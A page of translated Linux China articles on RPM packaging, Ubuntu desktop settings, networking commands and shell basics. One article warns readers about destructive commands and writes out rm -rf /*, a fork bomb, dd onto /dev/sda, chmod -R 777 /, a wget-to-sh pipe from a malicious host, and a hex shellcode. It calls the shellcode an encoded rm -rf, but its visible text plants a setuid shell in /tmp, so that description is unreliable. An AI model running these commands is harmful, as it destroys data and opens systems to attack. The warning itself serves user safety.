分类 技术 下的文章

pyp2rpm 使得创建 RPM 包的过程更加自动化。

当你安装一个应用程序时,你通常是在安装一个软件包,其中包含应用程序的可执行代码和重要文件,如文档、图标等。在 Linux上,软件一般被打包成 RPM 或 DEB 等格式,用户只要通过 dnf 或者 apt 等命令就可以进行安装了,这取决于你使用的 Linux 发行版。然而几乎每天都有新的 Python 模块发布,因此你很容易遇到一个尚未打包的 Python 模块。这就是 pyp2rpm 存在的意义了。

最近我在尝试安装一个叫 python-concentration 的模块,但是进展并不太顺利:

$ sudo dnf install python-concentration
Updating Subscription Management repositories.
Last metadata expiration check: 1:23:32 ago on Sat 11 Jun 2022 06:37:25.
No match for argument: python-concentration
Error: Unable to find a match: python-concentration

虽然这是一个发布在 PyPi 的包,但它仍不能被打包成 RPM 包。好消息是你可以使用 pyp2rpm 以一个相对简单的过程将它打包成 RPM 包。

首先你需要设置两个目录:

$ mkdir rpmbuild
$ cd rpmbuild && mkdir SPECS

像这样去安装 pyp2rpm

$ sudo dnf install pyp2rpm

1、生成 spec 文件

RPM 包的基础是一种 spec 文件,这个文件包含你创建这个包的所有信息,如所需的依赖关系、应用的版本号、安装的文件等信息。当指向某个 Python 模块时,pyp2rpm 会为它构建一个 spec 文件,你可以用它来创建 RPM 包。

下面以 python-concentration 为例演示如何构建一个 spec 文件:

$ pyp2rpm concentration > ~/rpmbuild/SPECS/concentration.spec

下面是它生成的文件:

# Created by pyp2rpm-3.3.8
%global pypi_name concentration
%global pypi_version 1.1.5

Name:           python-%{pypi_name}
Version:        %{pypi_version}
Release:        1%{?dist}
Summary:        Get work done when you need to, goof off when you don't

License:        None
URL:            None
Source0:        %{pypi_source}
BuildArch:      noarch

BuildRequires:  python3-devel
BuildRequires:  python3dist(setuptools)

%description
Concentration [![PyPI version]( [![Test Status]( [![Lint Status]( [![codecov](

%package -n     python3-%{pypi_name}
Summary:        %{summary}
%{?python_provide:%python_provide python3-%{pypi_name}}

Requires:       (python3dist(hug) >= 2.6.1 with python3dist(hug) < 3~~)
Requires:       python3dist(setuptools)
%description -n python3-%{pypi_name}
Concentration [![PyPI version]( [![Test Status]( [![Lint Status]( [![codecov](


%prep
%autosetup -n %{pypi_name}-%{pypi_version}

%build
%py3_build

%install
%py3_install

%files -n python3-%{pypi_name}
%license LICENSE
%doc README.md
%{_bindir}/concentration
%{python3_sitelib}/%{pypi_name}
%{python3_sitelib}/%{pypi_name}-%{pypi_version}-py%{python3_version}.egg-info

%changelog
*  - 1.1.5-1
- Initial package.

2、运行 rpmlint

为了确保 spec 文件符合标准,你需要对文件使用 rpmlint 命令:

$ rpmlint ~/rpmbuild/SPEC/concentration.spec
error: bad date in %changelog: - 1.1.5-1
0 packages and 1 specfiles checked; 0 errors, 0 warnings.

看起来更新日志(%changelog)需要记录日期。

%changelog
* Sat Jun 11 2022 Tux <[email protected]> - 1.1.5-1

再次运行 rpmint

$ rpmlint ~/rpmbuild/SPEC/concentration.spec
0 packages and 1 specfiles checked; 0 errors, 0 warnings.

成功!

3、下载源码

你需要下载好打包的代码才能进一步构建 RPM 包。一种简单的方式是解析你的 spec 文件以获取源码的网址。

首先,通过 dnf 安装 spectool

$ sudo dnf install spectool

然后通过 spectool 来下载源码:

$ cd ~/rpmbuild
$ spectool -g -R SPEC/concentration.spec
Downloading: https://files.pythonhosted.org/...concentration-1.1.5.tar.gz
   6.0 KiB / 6.0 KiB    [=====================================]
Downloaded: concentration-1.1.5.tar.gz

这样就创建了一个 SOURCES 目录并将源码放入其中。

4、构建源软件包

现在你已经验证过 spec 文件了,接下来就可以通过 rpmbuild 构建源软件包了。如果你还没有安装 rpmbuild,你也可以通过 dnf 安装 rpm-build 包(或者在使用 rpmbuild 命令时根据终端的的提示进行安装)。

参数 -bs 表示构建源软件包。添加这个参数会产生一个 src.rpm 文件,这是一个用于为特定架构重新构建的通用包:

$ rpmbuild -bs SPECS/concentration.spec
Wrote: ~/rpmbuild/SRPMS/python-concentration-1.1.5-1.el9.src.rpm

为你的系统构建一个可安装的 RPM 文件:

$ rpmbuild –rebuild SRPMS/python-concentration-1.1.5-1.el9.src.rpm
error: Failed build dependencies:
        python3-devel is needed by python-concentration-1.1.5-1.el9.noarch

看起来这个包需要安装 Python 的开发库才能继续构建。安装它们以继续构建。这一次,构建成功了,并且渲染了更多的输出(为了清楚起见,我在这里简略了输出):

$ sudo dnf install python3-devel -y
$ rpmbuild –rebuild SRPMS/python-concentration-1.1.5-1.el9.src.rpm
[...]
Executing(--clean): /bin/sh -e /var/tmp/rpm-tmp.TYA7l2
+ umask 022
+ cd /home/bogus/rpmbuild/BUILD
+ rm -rf concentration-1.1.5
+ RPM_EC=0
++ jobs -p
+ exit 0

你的 RPM 包现在已经构建在 RPMS 子目录下,像平常一样使用 dnf 安装它。

$ sudo dnf install RPMS/noarch/python3-concentration*rpm

为什么不使用 PyPi?

通常情况下我们并不需要将 Python 模块打包成 RPM 包。通过 PyPi 来安装模块也是可以接受的,但是 PyPi 会安装额外的包管理器对你的模块进行检查和更新。当你使用 dnf 来安装 RPM 包时,你在安装完成时就能够获取到完整的安装列表。有了 pyp2rpm 之后,这个过程就变得快速、简单且自动化了。


via: https://opensource.com/article/22/6/package-python-module-rpm

作者:Sumantro Mukherjee 选题:lkxed 译者:Return7g 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

得益于开发者们最近的贡献,在 Ubuntu 中使用自己的强调色是很简单的。

每个 Linux 发行版都有它们默认的主题,具有各自的主色调。强调色用于在各个设置中突出主色调。通常,主色调和强调色应该形成对比和补充。

在最近的 GNOME 桌面的更新之后,Ubuntu 桌面在 22.04 LTS 版本中引入了强调色。

尽管如何应用它们是显而易见的,但是为了 Linux 的新手,我将解释如何在 Ubuntu 桌面中使用强调色。

在 Ubuntu 桌面中应用强调色

  1. 从应用菜单中打开 系统设置 System Settings
  2. 进入 外观 Appearance 菜单
  3. 风格 Style 菜单下,你应该见到一套预设的颜色。
  4. 选择其中的一个来改变强调色。

一旦更改,强调色将被应用到 GTK 应用程序中的选区和 GTK 控件中,如切换按钮和文件夹的默认外观。

默认的强调色是橙色,有十种颜色可供选择,具体如下:

  • 橙色
  • 树皮色
  • 鼠尾草色
  • 橄榄绿
  • 铬绿
  • 普鲁士绿
  • 蓝色
  • 紫色
  • 品红色
  • 红色

Accent Colour in Ubuntu

(LCTT 译注:树皮色是一种棕色,鼠尾草色是一种灰绿色。)

你应该记住一点,深色和浅色的主题的强调色组合可能改变你的桌面的整体外观。

以上的特性只是只适用于目前使用 GNOME 桌面的 Ubuntu,而不适用于其它提供原生 GNOME 的发行版,例如 Fedora Workstation。因为有一些内容是由 Ubuntu 团队开发的,并且并没有合并到 GNOME 上游。

Kubuntu 中的强调色

使用带有 KDE Plasma 桌面的 Kubuntu,你可以简单地使用强调色。KDE Plasma 提供了预设的颜色,也有自定义的颜色选择器选项。另外,自 KDE Plasma 5.25 起,强调色可以根据壁纸来改变。

为了在 Kubuntu 中改变它,跟着下面的步骤走:

  • 在应用菜单中打开 系统设置 System Settings
  • 进入 外观 Appearance > 全局主题 Global Theme > 颜色 Colours 标签
  • 选择你的强调色

KDE Plasma 5.25 - Accent Colour Change Based on wallpaper

我知道 Lubuntu 与 Xubuntu 并没有这个特性。而且它不太可能很快到来。

使用愉快。


via: https://www.debugpoint.com/ubuntu-accent-colour/

作者:Arindam 选题:lkxed 译者:yjacks 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

什么是最危险的 Linux 命令?

有人无数次问我这个问题,我一直避免回答,因为没有一个明确的危险的 Linux 命令清单

你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你,但如果你不熟悉这些命令和工具,你可以很容易地把你的系统摧毁。

想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床?那会对她的成长造成损害。

这就是父母设定界限和引导孩子的地方。不要靠近火堆,不要把手指戳到电源插座上……随着孩子的成长和经验的积累,她可以把炉子打开,在壁炉里生火,插上电源线。

同样,如果你知道一些已知的风险命令,你可能会避免落入巨魔的陷阱,他们试图欺骗你运行命令,扰乱你的系统。

当你积累了经验,知道了这些命令和工具的含义和用法,用愚蠢和棘手的命令破坏你的系统的机会就会减少。

我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。

免责警告:如果你不清楚你在做什么,请勿尝试本文提及的这些命令,否则后果自负。

1、rm -rf /*

这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。

rm 命令用来删除文件/目录。标志 -r-f 表示递归地删除指定目录内的所有文件。现在,如果没有 root 权限,这个命令不会造成任何伤害。

运行 sudo rm -rf / 命令也不会产生任何问题,因为大多数发行版提供了一个故障安全选项。你需要指定 --no-preserve-root 才能实际运行它。

sudo rm -rf / --no-preserve-root

然而,一个更简单的版本可以是这样的:

sudo rm -rf /*

它将开始递归地删除根目录下的所有文件,在一段时间后,你的系统会冻结,并显示“删除文件错误”。一旦重新启动,你将被送到 grub-rescue 提示符下。

2、覆盖你的分区

如果你熟悉文件系统,你可能知道 /dev/sda 是什么。它(通常)是你的磁盘驱动器分区。> 操作符用于将其前面的命令的输出写到所提供的指定位置。

一旦你运行任何命令并把它写到 /dev/sda,比如说:

echo "Hello" > /dev/sda

这将用 Hello 字符串替换你的包含启动系统所需的所有数据的分区。

3、把所有的东西都移到黑洞

每个 Linux 系统内都有一个黑洞。而这个黑洞就是 /dev/null

无论你把什么东西扔进这个区域都会永远丢失。而且,它在丢弃数据后会将写入过程报告为成功,这是其破坏性的主要原因。

mv /home/user/* /dev/null

mv 命令 用来移动或重命名文件/目录。在上面的命令中,你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏,但你所有的个人数据都会丢失。

4、格式化你的硬盘

mkfs 是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。

mkfs.ext3 /dev/sda

这个命令完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。

5、fork 炸弹

这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。

:(){ :|:& };:

& - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里,它定义了一个叫做 : 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。

顾名思义,它自己分叉,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像本列表中的其他命令那样糟糕。

6、覆盖重要的配置文件

虽然这本身不是一个命令,但它更像是一个预防性的东西。

如上所述,> 操作符是用来向文件写入的。它丢弃文件中已经存在的东西,并将提供的新数据写入文件中。

command > config_filename

现在,如果你将一些重要的配置文件作为写数据的地方,它将被取代内容,留下一个损坏的系统。

7、用垃圾数据替换分区

/dev/random 是 Linux 中的一个命令,它可以创建垃圾数据。把它和 dd 命令 以及你的分区结合起来,你就得到了一个可以让你的分区着火的燃烧弹。

dd if=/dev/random of=/dev/sda

dd 命令被用作一个低级别的复制工具。这里,它从 /dev/random 中获取随机数据,并用这些垃圾替换 /dev/sda 分区。

一个类似的效果是通过以下方式获得的:

cat /dev/urandom > filename

这里,它从 /dev/urandom(LCTT 译注:在 Linux 上,/dev/urandom 现在和 /dev/random 的等价的 )中获取垃圾数据并填入一个文件。如果不使用 Ctrl + C 终止,该文件会占据相当大的空间,这对低端系统来说可能是灾难性的。

8、将你的系统暴露给所有人

在 Linux 中,所有东西都是文件,每个 文件都有一定的权限

你可以用 ls -l 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性,但你可以用一个命令颠覆这个系统。

chmod -R 777 /

上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。

9、下载并运行恶意的内容

你如何在 Linux 中安装软件?你可以使用官方的软件包管理器或随时可以使用的软件包,如 Deb/RPM、Snap、Flatpak 等。

然而,有些软件是没有打包的,它们的开发者提供了下载和运行的 Shell 脚本。以 Homebrew 为例:

你下载一个 Shell 文件,然后以 root 身份运行它,在你的系统中安装一个软件。你看出问题了吗?

虽然它对 Homebrew 这样的官方软件有效,但在你像下面这样直接运行它之前,你应该仔细检查你所下载的 Shell 脚本的内容:

wget http://malicious_source -O- | sh

这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。

10、伪装的命令

在 Linux 终端中,有许多方法可以运行命令。其中一种方式是十六进制编码的命令:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

虽然它看起来很花哨,但这是 rm -rf 命令的一个编码版本。它的效果与运行前面的命令相同。因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。

总结

pebkac

有一个著名的计算机术语 PEBKAC:“ 问题存在于键盘和椅子之间 problem exists between keyboard and chair ”。

因为归根结底,还是要靠用户(你)来保证你不会因为盲目地运行任何危险的命令而破坏系统。

UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。

而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么,完全取决于你。

我建议做这些事情以确保更安全的体验。

  • 尝试并理解你将要运行的命令。
  • 用 Timeshift 保持你的系统设置的备份
  • 用 DejaDup 保持个人数据(主目录)的备份

正如我所说,没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中,而且根本没有尽头。

我希望这能给你一些提示,告诉你为了保持 Linux 的安全,你不应该做什么。如果你有建议,请在评论区告诉我。


via: https://itsfoss.com/dangerous-linux-commands/

作者:Abhishek Prakash 选题:lkxed 译者:wxy 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

如果你在笔记本电脑上使用 Ubuntu,你可能已经注意到当你合上盖子时系统处于挂起状态。

这是预期的行为。它可以节省电池和你的工作。你掀开盖子,系统唤醒,你可以登录并继续工作。

这一切听起来都不错,除非你使用多显示器设置。像我这样的一些人更喜欢关闭笔记本电脑,只使用外接显示器。

但是,如果关闭笔记本电脑盖会挂起系统,那么会产生问题。

让我告诉你如何改变这种行为。

关闭笔记本电脑盖时不要挂起

实际上,我注意到最近的 Ubuntu 版本在这个情况下更智能。当笔记本电脑连接到扩展坞并合上盖子时,它不会进入挂起模式。

这是正常的预期行为,但由于 Ubuntu 某种神才知道的原因,它可能不会一直有效。

好消息是你可以使用 GUI 和命令行强制更改此行为。

让我分享这两种方法。

方法 1:使用 GNOME 优化

如果你使用的是默认的 GNOME 桌面,那么你很幸运。 在 Ubuntu 的软件中心安装 GNOME 优化(Tweaks)工具,或使用以下命令:

sudo apt install gnome-tweaks

安装后,启动优化应用。在侧边栏的 常规 General 选项卡中,关闭“ 笔记本电脑盖合上时挂起 Suspend when laptop lid is closed ”按钮。

change lid close behavior ubuntu

这就好了。你不需要重启即可使更改生效。

现在,让我们谈谈命令行方法。

方法 2:更改登录配置(针对高级用户)

如果你查看文件 /etc/systemd/logind.conf 的内容,你将看到三种不同类型的笔记本电脑合盖默认设置:

  • HandleLidSwitch=suspend:当笔记本电脑使用电池供电时,合盖挂起
  • HandleLidSwitchExternalPower=suspend:当笔记本电脑插入电源插座时,合盖挂起
  • HandleLidSwitchDocked=ignore:当笔记本电脑连接到扩展坞时,合盖忽略

Default laptop lid closing settings

如你所见,如果合上盖子,笔记本电脑将挂起,无论它是否连接到电源。而连接扩展坞忽略合盖。

如果需要,你可以根据自己的喜好将这些参数的值更改为其中之一:

  • suspend:合盖时挂起
  • lock:合盖时锁定
  • ignore:什么都不做
  • poweroff:关机
  • hibernate:合盖时休眠

如果你不希望你的系统在笔记本电脑盖合上时执行任何特殊操作,我建议你使用 ignore

你可以编辑 /etc/systemd/logind.conf 文件,或者在 /etc/systemd/logind.conf.d 目录中创建一个新文件,并取消注释上述设置并更改其值。如果此目录不存在,请创建此目录。

我不会给你确切的命令。如果你熟悉命令行,你应该可以做到。如果你对命令行感到不习惯,请使用前面的 GUI 方法。

我希望这可以帮助你。如果你有任何问题,请告诉我。


via: https://itsfoss.com/laptop-lid-suspend-ubuntu/

作者:Abhishek Prakash 选题:lkxed 译者:geekpi 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

我们并不是每天都会谈论 Linux 的命令行。但正如一些读者指出的那样,你们也想学习一些命令行的技巧。

因此,我整理了一份基本的 Linux 网络命令清单,这些命令在我的大学时代帮助了我,让我对如何在网络方面使用 Linux 有了坚定的认识。

这些命令将帮助你设置网络,以及解决你在 Linux 系统中可能遇到的各种网络问题。

Linux 中的基本网络命令

这个汇编包括了 CLI 实用程序,它们将帮助你排除网络问题、监控数据包和连接的设备,以及更多。

在我展示这些命令的一些细节之前,让我分享一下我今天要讨论的所有命令的简要概述。

命令说明
ip操纵路由来分配和配置网络参数
traceroute识别数据包到达主机的路径
tracepath在追踪网络主机的路径时,获取最大传输单元
ping通常用于检查主机和服务器之间的连接情况
ss获得有关网络套接字的详细信息
dig给出所有关于 DNS 名称服务器的必要信息
host输出特定域和主机的 IP 地址
hostname主要用于输出和更改主机名
curl在网络上通过各种协议传输数据
mtrpingtraceroute 的组合,用于诊断网络
whois获取有关注册的域名、IP 地址、名称服务器等信息
ifplugstatus检测本地以太网设备的链接状态
iftop监视与带宽有关的统计信息
tcpdump数据包嗅探和分析工具,用于捕获、分析和过滤网络流量
ethtool允许用户配置以太网设备
nmcli用于网络连接的故障排除工具
nmap主要用于审计网络安全
bmon开源工具,用于监控实时带宽
firewalld配置防火墙规则的 CLI 工具
iperf测量网络性能和调整的工具
speedtest-clispeedtest.net 的 CLI 工具,用于检查网速
vnstat主要用于监控网络流量和带宽消耗

现在,让我们用例子和更深入的方式讨论它们。

请注意,并不是所有的命令都会预装。我已经添加了针对 Debian/Ubuntu 的说明。对于其他发行版,请使用你的软件包管理器进行安装。

1、ip 命令

ip 命令是最基本的,但也是最重要的,你会发现系统管理员经常使用它,其用于从操纵路由到分配和配置网络参数。

虽然用例可能无穷无尽,但让我向你展示 ip 命令的最基本用例(寻找 IP 地址)。

ip address

ip address

同样,你也可以使用 ip 命令来持续监控设备的状态,请使用 monitor 参数而不是我们之前用来获取 IP 地址的 address 参数:

ip monitor

ip monitor

2、traceroute

使用 traceroute 命令,你可以确定数据包到达主机的路线。而且,当你想询问数据包的传输情况和数据包所走的跳数时,它可能相当有用。

默认情况下,你的系统可能没有安装 traceroute,如果你使用的是 Debian 及派生的发行版(包括 Ubuntu),安装时只需使用一个命令:

sudo apt install traceroute

例如,追踪到 google.com 的数据包:

traceroute google.com

traceroute google.com

默认情况下,traceroute 会使用 IPv4,但是你可以通过使用 -6 选项来改变这一行为,该选项将指示 traceroute 使用 IPv6。让我告诉你怎么做:

traceroute -6 google.com

3、tracepath

tracepath 命令用于发现 MTU(最大传输单元),同时追踪到网络主机的路径。它与我上面讨论的 traceroute 很相似,但它不需要 sudo 权限,而且也没有像它那么多功能。

但是,首先什么是 MTU?

MTU 就是可以在网络上传输或接收的最大帧或数据包。

现在,让我们看一下 google.comtracepath 的基本例子:

tracepath google.com

tracepath google.com

同样,你可以使用 -b 选项同时打印出 IP 地址和主机名。

tracepath -b google.com

tracepath -b google.com

4、ping

ping 命令 数据包网络飞龙探云手 Packet Internet Groper ?) 可以说是在排除网络故障时最重要的命令之一,因为它是检查主机和服务器之间连接情况的最常用方法。

例如,我 ping 谷歌:

ping google.com

ping google.com

这里,最后一行(min/avg/max)表示从指定的服务器获得响应的时间。

如果你得到一个错误提示 bash: ping: command not found (LCTT 译注:不会吧?),你可以查看我们的指南 如何在 Ubuntu 上安装 Ping

5、ss

ss 套接字统计 socket statistics )命令用于详细了解网络套接字(在网络上发送和接收数据的端点)。

要列出所有监听和非监听的 TCP 连接,你必须使用 -at 选项,如下所示:

ss -at

ss -at

同样,你可以使用 -au 选项对 UDP 端口进行同样的操作:

ss -au

ss -au

6、dig

dig 命令 域信息龙爪手 Domain Information Groper ?)用于获取有关域名的所有必要信息。

要在基于 Ubuntu 的发行版上安装 dig 工具,请按照给出的命令进行:

sudo apt install dnsutils

现在,让我告诉你如何获取一个特定主机的信息,在这个例子中,我将获取 itsfoss.com 的信息:

dig itsfoss.com

dig itsfoss.com

7、host

host 命令主要用于获取一个特定主机的 IP 地址,或者你可以从一个特定的 IP 地址获取主机名。换句话说,它是一个 DNS 查询工具。

要找到主机的 IP,你只需要在 host 命令中附加主机名。让我告诉你怎么做:

host itsfoss.com

host itsfoss.com

同样,你可以用一个 IP 地址来获取主机名:

host 8.8.4.4

host 8.8.4.4

8、hostname

如果你已经使用了一段时间的 Linux,你一定很熟悉这个命令,因为这主要是用来 改变你的系统的主机名 和 NIS(网络信息系统)的主机名。

当不使用任何选项时,它可以得到系统当前的主机名。

hostname

hostname

从包含所需主机名的文件中改变主机名是这个工具的另一个有趣的功能:

sudo hostname -F <filename>

sudo hostname -F hostname.txt

9、curl

curl 客户端 URL Client URL )命令主要用于在网络上传输数据,支持各种协议,包括 HTTP、FTP、IMAP 和许多其他协议。

这个工具是首选的自动化工具,因为它是在没有任何人类互动的情况下工作的,也可以用于端点测试、调试和错误记录。

curl 工具没有预装,如果你在任何 Debian 及其派生发行版上,你只需要使用以下命令进行安装:

sudo apt install curl

使用 curl 命令 下载文件 非常容易,你只需在 URL 中使用 -O 选项,就可以开始了。

curl -O [URL]

curl -o url

在下载大文件时,进度条会很方便,你可以用 curl-# 选项来显示进度条。

curl -# -O

10、mtr

它是 pingtraceroute 工具的组合,主要用于网络诊断,并提供网络响应和连接的实时情况。

使用 mtr 的最简单方法是用它跟上一个主机名或 IP 地址,它将给出一个实时的 traceroute 报告。

mtr [URL/IP]

mtr google.com

如果你想让 mtr 同时显示主机名和 IP 地址,你可以把它和 -b 选项配对,如下图:

mtr -b [URL]

mtr -b

11、whois

whois 可以帮助你找到有关注册的域名、IP 地址、名称服务器等信息,因为它是 whois 目录服务的客户端。

这个工具可能没有预装在你的设备上,要在基于 Debian/Ubuntu 的发行版上安装,你可以使用给出的命令:

sudo apt install whois

一般来说,whois 命令是与给出的域名配对使用的:

whois [DomainName]

whois google.com

另外,你也可以用一个 IP 地址来代替域名,你会得到同样的细节。

12、ifplugstatus

ifplugstatus 是一个最基本的,但也是最有用的工具,足以在基本水平上排除连接问题。它用于检测本地以太网的链接状态,其工作方式与 mii-diagmii-toolethtool 类似,支持所有三个 API。

在基于 Debian/Ubuntu 的发行版上安装,你可以按照给出的命令进行:

sudo apt install ifplugd

这个工具没有任何花哨的选项,经常不需要与任何配对选项而使用:

ifplugstatus

ifplugstatus

13、iftop

iftop 接口的 top Interface TOP )经常被管理员用来监控与带宽有关的统计数据,当你遇到网络问题时,也可以作为诊断工具使用。

这个工具需要手动安装,可以通过给出的命令在运行 Debian/Ubuntu 的机器上轻松安装。

sudo apt install iftop

iftop 在没有任何选项的情况下使用时,它会显示默认接口的带宽统计。

sudo iftop

iftop

你也可以通过在设备名称后面加上 -i 选项来指定网络设备。

sudo iftop -i <DeviceName>.

在我的例子中,是 enp1s0,所以我的输出将是如下:

sudo iftop -i enp1s0

14、tcpdump

tcpdump 是一个数据包嗅探和分析工具,用于捕获、分析和过滤网络流量。它也可以作为一个安全工具使用,因为它将捕获的数据保存在可以 通过 Wireshark 访问 的 pcap 文件中。

像许多其他工具一样,tcpdump 没有预装,如果你是在Debian/Ubuntu 上,你可以按照下面的命令进行安装:

sudo apt install tcpdump

一旦你完成了安装,你可以获得当前接口的捕获数据包,如下所示:

sudo tcpdump

sudo tcpdump

那么如何将捕获的数据包保存在 pcap 文件中呢?让我告诉你怎么做:

sudo tcpdump -w Captured_Packets.cap -i < networkdevice >

sudo tcpdump -w

要访问保存的文件,你需要使用 -r 选项加上文件名。

sudo tcpdump -r Captured_Packets.pcap

sudo tcpdump -r filename

15、ethtool

顾名思义,ethtool 工具主要涉及管理以太网设备。使用这个工具,你可以调整网卡速度、自动协商特性等。

但它可能没有预装在你的机器上,可以通过利用给出的命令安装在 Debian/Ubuntu 机器上:

sudo apt install ethtool

要获取接口的详细信息,你只需在命令后面加上设备名称,如下所示:

sudo ethtool <InterfaceName>

sudo ethtool enp1s0

16、nmcli

作为一个简单而强大的网络故障排除工具,它是任何系统管理员在排除网络故障时首先使用的工具之一,也可以在脚本中使用。

你可以使用 nmcli 命令来监控设备的连接状态:

nmcli dev status

nmcli dev status

当不使用任何选项时,它将带来你系统中所有现有设备的信息:

nmcli

nmcli

17、nmap

nmap 是一个探索和审计网络安全的工具。它经常被黑客和安全爱好者使用,因为它允许你获得网络的实时信息、连接到你的网络的 IP 的详细信息、端口扫描,以及更多。

要在基于 Debian/Ubuntu 的发行版上安装 nmap 工具,请使用给出的命令:

sudo apt install nmap

让我们开始扫描主机名:

nmap itsfoss.com

nmap itsfoss.com

18、bmon

bmon 是一个开源的工具,用于监测实时带宽和调试问题,以更人性化的方式呈现统计数据。这个工具最好的部分是图形显示,甚至可以在 HTML 中得到你的输出!

安装非常简单,因为 bmon 存在于流行的 Linux 发行版的默认仓库中,这也包括 Debian/Ubuntu。

sudo apt install bmon

现在,你只需要启动 bmon,就可以用眼睛愉快地监控带宽了:

bmon

bmon

19、firewalld

管理防火墙可以说是网络安全的核心部分,这个工具允许你添加、配置和删除防火墙的规则。

但是 firewalld 需要手动安装,如果你使用的是基于 Debian/Ubuntu 的发行版,你可以利用给出的命令进行安装:

sudo apt install firewalld

例如,我将向你展示,如何为公共区域永久地打开 80 端口:

sudo firewall-cmd --permanent --zone=public --add-port=80/tcp

sudo firewall-cmd --permanent --zone=public

同样,要删除最近添加的规则,你必须使用 -remove 选项,如下所示:

sudo firewall-cmd --zone=public --remove-port=80/tcp

sudo firewall-cmd --zone=public --remove

20、iperf

iperf 是一个用 C 语言编写的开源工具,允许用户进行网络性能测量和调整。

这个工具存在于 Debian/Ubuntu 的默认资源库中,可以通过给出的命令安装:

sudo apt install iperf

要开始监控网络,用户必须通过给出的命令在服务器上启动这个客户端:

iperf -s -u

其中,-s 选项表示服务器,-u 选项为 UDP 格式。

iperf -s -u

现在,你可以通过提供首选协议的 IP 地址有效载荷连接到你的服务器(使用 -c 选项表示客户端)。在这个例子中,我选择了 UDP(使用 -u 选项),有效载荷为 100:

iperf -c 10.0.2.15 -u 100

iperf -c

21、speedtest-cli

顾名思义,这是 speedtest.net 网站的 CLI 工具。这个在 Apache 2.0 许可下发布的开源工具,当你想从 CLI 获得一个可靠的 检查网速 的来源时,会有很大帮助。

安装非常简单,如果你是在 Debian/Ubuntu 上,可以利用给出的命令轻松安装:

sudo apt install speedtest-cli

一旦你完成了安装部分,你只需要使用一行命令即可测试你的速度:

speedtest-cli

speedtest-cli

22、vnstat

vnstat 工具主要被系统管理员用来监控网络流量和带宽消耗(大部分情况下),因为这个工具可以监控你系统的网络接口的流量。

和其他网络工具一样,你可以在默认的软件库中找到 vnstat,如果你在 Debian/Ubuntu 上,可以通过给出的命令进行安装:

sudo apt install vnstat

你可以使用 vnstat 命令,不需要任何选项,它将带来你系统所有可用接口的基本统计信息:

vnstat

vnstat

对于实时监控,你可以将 vnstat 命令与 -l 选项配对。

vnstat -l

一个长长的清单,对吗?

这个汇编连冰山一角都算不上,只是分享了每个命令的目的和基本例子,因为增加更多的命令会使这个清单变得更长。

流行的但 已废弃的 Linux 命令,如 ipconfig,已被故意排除在这个列表之外。

如果你很好奇,你可以学习 如何最大限度地利用手册页,这将教会你如何使用任何实用程序的最大潜力。

如果我忘了提到任何你喜欢的东西,请在评论中告诉我。


via: https://itsfoss.com/basic-linux-networking-commands/

作者:Sagar Sharma 选题:lkxed 译者:wxy 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

如果你希望自动执行常规任务并使你的生活更轻松,那么使用 Shell 脚本是一个很好的选择。本文将向你介绍一些基本概念,这些概念将帮助你编写高效的 Shell 脚本。

Shell-scripting

Shell 脚本是一种被设计用来运行命令行解释器 UNIX Shell 的计算机程序。Shell 脚本的各类变种被视作脚本语言。Shell 脚本执行的典型操作包括文件操作、程序执行和文本打印。设置环境、运行程序并执行任何必要的清理或日志记录的脚本称为封装。

识别 Shell 命令提示符

你可以通过查看终端窗口中的提示符符号来识别 Linux 系统的计算机上的 Shell 命令提示符的用户是普通用户还是超级用户。# 符号用于超级用户,$ 符号用于具有标准权限的用户。

基本命令

脚本附带了很多可以在终端窗口上执行的、用以管理您的计算机的命令。每个命令的详细信息可以在该命令附带的使用手册中找到。你可以使用如下命令来查看手册:

man <command>

一些常用的命令有:

date # 显示当前日期和时间
cal # 显示当前月份日历
df # 显示磁盘使用情况
free # 显示内存使用情况
ls # 列出文件和目录
mkdir # 创建目录

每个命令都附带了几个可以一起使用的选项。你可以参考使用手册以了解更多的细节。man date 的输出如图 1 所示。

Figure 1: Manual of date command

重定向操作符

当你希望捕获文件中的命令输出或重定向到文件时,可以使用重定向操作符。

命令描述
ls -l /usr/bin >file默认标准输出到文件
ls -l /usr/bin 2>file重定向标准错误到文件
